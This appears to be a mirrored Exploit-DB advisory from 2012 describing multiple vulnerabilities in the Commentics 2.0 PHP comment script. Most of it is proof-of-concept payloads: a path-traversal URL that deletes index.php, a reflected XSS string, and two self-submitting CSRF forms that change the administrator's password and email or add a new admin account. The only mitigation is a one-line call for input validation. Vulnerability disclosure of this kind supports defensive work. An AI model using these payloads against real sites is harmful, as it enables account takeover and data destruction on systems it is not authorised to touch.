Commentics 2.0 – Multiple Vulnerabilities

  • 作者: Jean Pascal Pereira
    日期: 2012-06-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19325/
  • #################################################
    Commentics 2.0 <= Multiple Vulnerabilities
    #################################################
    
    Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
    
    Vendor information:
    
    "Commentics is a free, advanced PHP comment script with many features.
    Professionally written and with open source code, its main aims are to be integrable, customizable and secure."
    
    Vendor URI: http://www.commentics.org/
    
    #################################################
    
    Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion
    
    Risk-level: High
    
    The whole administration interface is prone to several client-side attacks.
    
    -------------------------------------
    
    Exploit / Proof Of Concept:
    
    (Note that almost every parameter is vulnerable. These are only a few examples.)
    
    
    1. File deletion vulnerability (deletes index.php):
    
    http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php
    
    
    2. Cross Site Scripting:
    
    http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--
    
    
    3. CSRF / Change admin email and password:
    
    <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
    <input type="text" name="username" value="admin" />
    <input type="text" name="password_1" value="1234" />
    <input type="text" name="password_2" value"=1234" />
    <input type="text" name="email" value="admin%40binkmail.com" />
    <input type="text" name="receive_email_new_ban" value="on" />
    <input type="text" name="receive_email_new_comment_approve" value="on" />
    <input type="text" name="receive_email_new_comment_okay" value="on" />
    <input type="text" name="receive_email_new_flag" value="on" />
    <input type="text" name="submit" value="Update" />
    </form>
    <script>document.forms[0].submit()</script>
    
    
    4. CSRF / Add new admin user
    
    <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
    <input type="text" name="username" value="newadmin" />
    <input type="text" name="password_1" value="1234" />
    <input type="text" name="password_2" value"=1234" />
    <input type="text" name="email" value="newadmin%40binkmail.com" />
    <input type="text" name="submit" value="Add+Admin" />
    </form>
    <script>document.forms[0].submit()</script>
    
    -------------------------------------
    
    Solution:
    
    Do some input validation.
    
    -------------------------------------
    
    #################################################